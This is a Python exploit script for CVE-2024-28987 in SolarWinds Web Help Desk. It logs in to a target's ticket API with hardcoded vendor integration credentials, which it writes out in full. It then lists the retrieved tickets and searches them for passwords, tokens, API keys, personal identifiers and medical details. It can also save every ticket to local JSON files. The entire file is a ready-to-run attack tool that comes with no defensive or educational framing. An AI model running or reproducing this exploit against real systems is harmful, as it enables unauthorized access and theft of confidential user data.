#!/usr/bin/env python3 # CVE-2024-28987 - SolarWinds Web Help Desk Hardcoded Credentials Exploit # https://github.com/Darabium import urllib.request import urllib.error import json import base64 import sys import os import re from urllib.parse import urlparse # Hardcoded credentials from the vulnerability USERNAME = "helpdeskIntegrationUser" PASSWORD = "dev-C4F8025E7" ENDPOINT = "/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/" class SolarWindsWHDExploit: def __init__(self, target_url, timeout=15): self.target_url = target_url.rstrip('/') self.timeout = timeout self.credentials = f"{USERNAME}:{PASSWORD}" self.auth_header = f"Basic {base64.b64encode(self.credentials.encode()).decode()}" self.is_vulnerable = False self.tickets_data = None def print_banner(self): """Print colorful banner""" banner = """ \033[1;36m ╔══════════════════════════════════════════════════════════════════╗ ║ ║ ║ ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██╗███████╗ ║ ║ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗██║ ██║██╔════╝ ║ ║ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║███████║█████╗ ║ ║ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔══██║██╔══╝ ║ ║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝██║ ██║███████╗ ║ ║ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ║ ║ ║ ║ CVE-2024-28987 - SolarWinds Web Help Desk ║ ║ Hardcoded Credentials Vulnerability ║ ║ ║ ╠══════════════════════════════════════════════════════════════════╣ ║ \033[1;33mGitHub:\033[0m \033[1;34mhttps://github.com/Darabium\033[0m ║ ╚══════════════════════════════════════════════════════════════════╝ \033[0m """ print(banner) def check_vulnerability(self): """Check if target is vulnerable""" try: url = f"{self.target_url}{ENDPOINT}" print(f"\n[\033[1;34m*\033[0m] Checking \033[1;33m{url}\033[0m") req = urllib.request.Request(url) req.add_header('Authorization', self.auth_header) req.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36') req.add_header('Accept', 'application/json') response = urllib.request.urlopen(req, timeout=self.timeout) status_code = response.getcode() content = response.read().decode('utf-8') if status_code == 200: try: data = json.loads(content) if isinstance(data, list): ticket_count = len(data) print(f"\n[\033[1;32m+\033[0m] Target is \033[1;31mVULNERABLE!\033[0m") print(f"[\033[1;32m+\033[0m] Found \033[1;33m{ticket_count}\033[0m tickets") self.is_vulnerable = True self.tickets_data = data return True, data elif isinstance(data, dict) and 'records' in data: ticket_count = len(data['records']) print(f"\n[\033[1;32m+\033[0m] Target is \033[1;31mVULNERABLE!\033[0m") print(f"[\033[1;32m+\033[0m] Found \033[1;33m{ticket_count}\033[0m tickets") self.is_vulnerable = True self.tickets_data = data return True, data else: print(f"\n[\033[1;32m+\033[0m] Target is \033[1;31mVULNERABLE!\033[0m") print("[\033[1;33m!\033[0m] Response format is different but accessible") self.is_vulnerable = True self.tickets_data = content return True, content except json.JSONDecodeError: print(f"\n[\033[1;32m+\033[0m] Target is \033[1;31mVULNERABLE!\033[0m") print("[\033[1;33m!\033[0m] Response is not JSON format") self.is_vulnerable = True self.tickets_data = content return True, content else: print(f"\n[\033[1;31m-\033[0m] Unexpected response: \033[1;33m{status_code}\033[0m") return False, None except urllib.error.HTTPError as e: if e.code == 401: print(f"\n[\033[1;31m-\033[0m] Authentication failed - Target is \033[1;31mNOT\033[0m vulnerable") elif e.code == 404: print(f"\n[\033[1;31m-\033[0m] Endpoint not found - Target is \033[1;31mNOT\033[0m vulnerable") else: print(f"\n[\033[1;31m-\033[0m] HTTP Error: \033[1;33m{e.code}\033[0m") return False, None except urllib.error.URLError as e: print(f"\n[\033[1;31m-\033[0m] Connection error: \033[1;33m{str(e)}\033[0m") return False, None except Exception as e: print(f"\n[\033[1;31m-\033[0m] Error: \033[1;33m{str(e)}\033[0m") return False, None def extract_tickets_preview(self, data, limit=3): """Show preview of first few tickets""" if not data: return print("\n\033[1;36m" + "="*70 + "\033[0m") print("\033[1;33m[📋] Ticket Preview (First 3 tickets)\033[0m") print("\033[1;36m" + "="*70 + "\033[0m") tickets = data if isinstance(data, list) else data.get('records', []) if isinstance(data, dict) else [] if not tickets: print("[\033[1;33m!\033[0m] No tickets found to preview") return for i, ticket in enumerate(tickets[:limit], 1): print(f"\n\033[1;32mTicket #{i}\033[0m") print(f" ├── \033[1;34mID:\033[0m {ticket.get('id', 'N/A')}") print(f" ├── \033[1;34mClient:\033[0m {ticket.get('displayClient', 'N/A')}") print(f" ├── \033[1;34mStatus:\033[0m {ticket.get('status', 'N/A')}") print(f" ├── \033[1;34mSubject:\033[0m {ticket.get('shortSubject', 'N/A')}") detail = ticket.get('shortDetail', 'N/A') if len(str(detail)) > 80: detail = str(detail)[:80] + "..." print(f" └── \033[1;34mDetail:\033[0m {detail}") if len(tickets) > limit: print(f"\n\033[1;33m... and {len(tickets) - limit} more tickets\033[0m") def save_all_tickets(self, data, filename): """Save all tickets to file""" try: # Clean filename filename = re.sub(r'[^a-zA-Z0-9\-_.]', '_', filename) if not filename.endswith('.json'): filename = f"{filename}.json" with open(filename, 'w', encoding='utf-8') as f: if isinstance(data, (dict, list)): json.dump(data, f, indent=2, ensure_ascii=False) else: f.write(str(data)) file_size = os.path.getsize(filename) print(f"\n[\033[1;32m✓\033[0m] Successfully saved \033[1;33m{filename}\033[0m") print(f"[\033[1;34m*\033[0m] File size: \033[1;33m{file_size:,}\033[0m bytes") # Count tickets if isinstance(data, list): print(f"[\033[1;34m*\033[0m] Total tickets: \033[1;33m{len(data)}\033[0m") elif isinstance(data, dict) and 'records' in data: print(f"[\033[1;34m*\033[0m] Total tickets: \033[1;33m{len(data['records'])}\033[0m") return True except Exception as e: print(f"\n[\033[1;31m✗\033[0m] Error saving file: \033[1;33m{str(e)}\033[0m") return False def extract_sensitive_data(self, data): """Extract sensitive information from tickets""" print("\n\033[1;31m" + "="*70 + "\033[0m") print("\033[1;31m[🔐] Scanning for Sensitive Data\033[0m") print("\033[1;31m" + "="*70 + "\033[0m") tickets = data if isinstance(data, list) else data.get('records', []) if isinstance(data, dict) else [] if not tickets: print("[\033[1;33m!\033[0m] No tickets to scan") return sensitive_patterns = { 'password': ['password', 'passwd', 'pwd', 'senha', 'contraseña'], 'credential': ['credential', 'credencial', 'auth', 'token'], 'secret': ['secret', 'segredo', 'private', 'api_key', 'apikey'], 'personal': ['cpf', 'cnpj', 'rg', 'phone', 'telefone', 'email', 'address', 'endereço'], 'medical': ['diagnosis', 'diagnóstico', 'treatment', 'tratamento', 'patient', 'paciente'] } found_any = False for ticket in tickets: ticket_str = json.dumps(ticket).lower() ticket_id = ticket.get('id', 'N/A') for category, patterns in sensitive_patterns.items(): for pattern in patterns: if pattern in ticket_str: print(f"\n[\033[1;31m!\033[0m] \033[1;33mPotential {category.upper()} data\033[0m found in ticket \033[1;34m#{ticket_id}\033[0m") # Show context for key, value in ticket.items(): if isinstance(value, str) and pattern.lower() in value.lower(): print(f" └── {key}: {value[:100]}...") found_any = True break if not found_any: print("\n[\033[1;32m✓\033[0m] No obvious sensitive data detected") def main(): exploit = SolarWindsWHDExploit("") exploit.print_banner() # Get target from user if len(sys.argv) > 1: target = sys.argv[1] else: target = input("\n[\033[1;34m*\033[0m] Enter target URL (e.g., http://192.168.1.100:8080): ").strip() if not target: print("\n[\033[1;31m-\033[0m] No target provided!") sys.exit(1) # Update target exploit.target_url = target.rstrip('/') # Check vulnerability is_vuln, data = exploit.check_vulnerability() if not is_vuln: print("\n[\033[1;31m-\033[0m] Target is not vulnerable. Exiting.") sys.exit(1) # Show preview if data: exploit.extract_tickets_preview(data) exploit.extract_sensitive_data(data) # Ask to save print("\n\033[1;36m" + "="*70 + "\033[0m") while True: choice = input("\n[\033[1;34m?\033[0m] Do you want to extract ALL tickets to file? \033[1;33m[y/N]\033[0m: ").strip().lower() if choice in ['y', 'yes']: # Get filename from target parsed = urlparse(target) hostname = parsed.netloc.replace(':', '_') filename = f"{hostname}_tickets" print(f"\n[\033[1;34m*\033[0m] Saving to: \033[1;33m{filename}.json\033[0m") exploit.save_all_tickets(data, filename) # Optional: Save as JSONL for big files if isinstance(data, list) and len(data) > 100: jsonl_filename = f"{hostname}_tickets.jsonl" print(f"\n[\033[1;34m*\033[0m] Also creating JSONL format: \033[1;33m{jsonl_filename}\033[0m") try: with open(jsonl_filename, 'w', encoding='utf-8') as f: for ticket in data: f.write(json.dumps(ticket, ensure_ascii=False) + '\n') print(f"[\033[1;32m✓\033[0m] JSONL file created") except Exception as e: print(f"[\033[1;31m✗\033[0m] Error creating JSONL: {e}") break elif choice in ['n', 'no', '']: print("\n[\033[1;34m*\033[0m] Exiting without saving.") break else: print("[\033[1;33m!\033[0m] Please answer 'y' or 'n'") print("\n\033[1;32m[*] Done!\033[0m") print(f"\033[1;34mGitHub:\033[0m https://github.com/Darabium") if __name__ == "__main__": try: main() except KeyboardInterrupt: print("\n\n[\033[1;33m!\033[0m] Interrupted by user") sys.exit(0) except Exception as e: print(f"\n[\033[1;31m!\033[0m] Unexpected error: {e}") sys.exit(1)